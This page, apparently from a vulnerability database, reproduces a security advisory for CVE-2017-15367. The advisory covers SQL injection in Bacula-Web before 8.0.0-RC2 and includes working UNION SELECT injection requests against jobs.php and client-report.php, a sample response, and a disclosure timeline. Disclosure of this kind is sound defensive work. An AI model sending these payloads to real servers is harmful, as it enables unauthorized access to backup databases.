Lucene search
K

Bacula-Web SQL Injection

🗓️ 08 Mar 2018 00:00:00Reported by Gustavo SorondoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 63 Views

Bacula-Web SQL Injection in versions prior to 8.0.0-RC2 allows unauthorized access to the database and potential privilege escalation

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Bacula-Web < 8.0.0-rc2 - SQL Injection Vulnerability
9 Mar 201800:00
zdt
CNVD
Bacula-web SQL Injection Vulnerability
8 Mar 201800:00
cnvd
CVE
CVE-2017-15367
7 Mar 201820:00
cve
Cvelist
CVE-2017-15367
7 Mar 201820:00
cvelist
Exploit DB
Bacula-Web &lt; 8.0.0-rc2 - SQL Injection
9 Mar 201800:00
exploitdb
exploitpack
Bacula-Web 8.0.0-rc2 - SQL Injection
9 Mar 201800:00
exploitpack
Github Security Blog
Bacula-web SQL Injection Vulnerabilities
14 May 202202:56
github
NVD
CVE-2017-15367
7 Mar 201820:29
nvd
OpenVAS
Bacula-Web < 8.0.0-RC2 SQL Injection Vulnerability
4 Apr 201800:00
openvas
OSV
GHSA-FV4M-5J2C-787R Bacula-web SQL Injection Vulnerabilities
14 May 202202:56
osv
Rows per page
`Title: Multiple SQL injection vulnerabilities in Bacula-Web (CVE-2017-15367)  
Credit: Gustavo Sorondo / http://www.cintainfinita.com  
Vendor/Product: Bacula-Web (http://bacula-web.org/)  
Vulnerability: SQL injection  
Vulnerable version: All prior to 8.0.0-RC2.  
Fixed in: 8.0.0-RC2  
CVE: CVE-2017-15367  
  
## Vulnerability Details  
  
Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection  
vulnerabilities that could allow an attacker to access the Bacula database  
and, depending on configuration, escalate privileges on the server.  
  
1) The /jobs.php script is affected by a SQL Injection vulnerability.  
  
The following GET request can be used to extract the result of "select  
@@version" query.  
  
Request:  
GET  
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23  
HTTP/1.1  
  
Response:  
HTTP/1.1 200 OK  
[...]  
<td>5.7.19-0ubuntu0.16.04.1</td>  
<td class="text-left">  
backupjob-report.php?backupjob_name=  
[...]  
  
Other parameters (eg. client_id) are also vulnerable, since there is no  
protection against SQL Injections at all.  
  
2) The /backupjob-report.php script is affected by a SQL Injection  
vulnerability.  
  
The following GET request can be used to extract the result of "select  
@@version" query.  
  
Request:  
GET  
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23  
  
3) The /client-report.php is affected by a SQL Injection vulnerability in  
the "client_id" parameter.  
  
## Vulnerability Disclosure Timeline  
  
2017-08-01 - Vulnerabilities discovered by Cinta Infinita  
2017-08-09 - Vulnerabilities reported to Bacula-Web  
2017-08-09 - Vulnerabilities confirmed by Bacula-Web  
2017-10-15 - CVE-2017-15367 is assigned  
2017-10-16 - Bacula-Web fixes backupjob-report.php and client-report.php in  
dev branch  
2018-03-02 - Bacula-Web fixes jobs.php in dev branch  
2018-03-02 - Version 8.0.0-RC2 is published  
2018-03-07 - Full disclosure  
  
## Related fixes and releases  
  
http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html  
http://bugs.bacula-web.org/view.php?id=211  
https://github.com/bacula-web/bacula-web/commit/90d4c44a0dd0d65c6fb3ab2417b83d700c8413ae  
  
## About Cinta Infinita  
  
Cinta Infinita offers Information Security related services. Our  
Headquarters are in Buenos Aires, Argentina.  
For more information, visit http://cintainfinita.com  
  
--  
Ing. Gustavo M. Sorondo  
Cinta Infinita - CTO  
Web: http://cintainfinita.com  
LinkedIn: https://www.linkedin.com/in/gustavosorondo  
GPG: http://www.cintainfinita.com/gpg/gs-pkey.txt  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Mar 2018 00:00Current
9.2High risk
Vulners AI Score9.2
EPSS0.222
63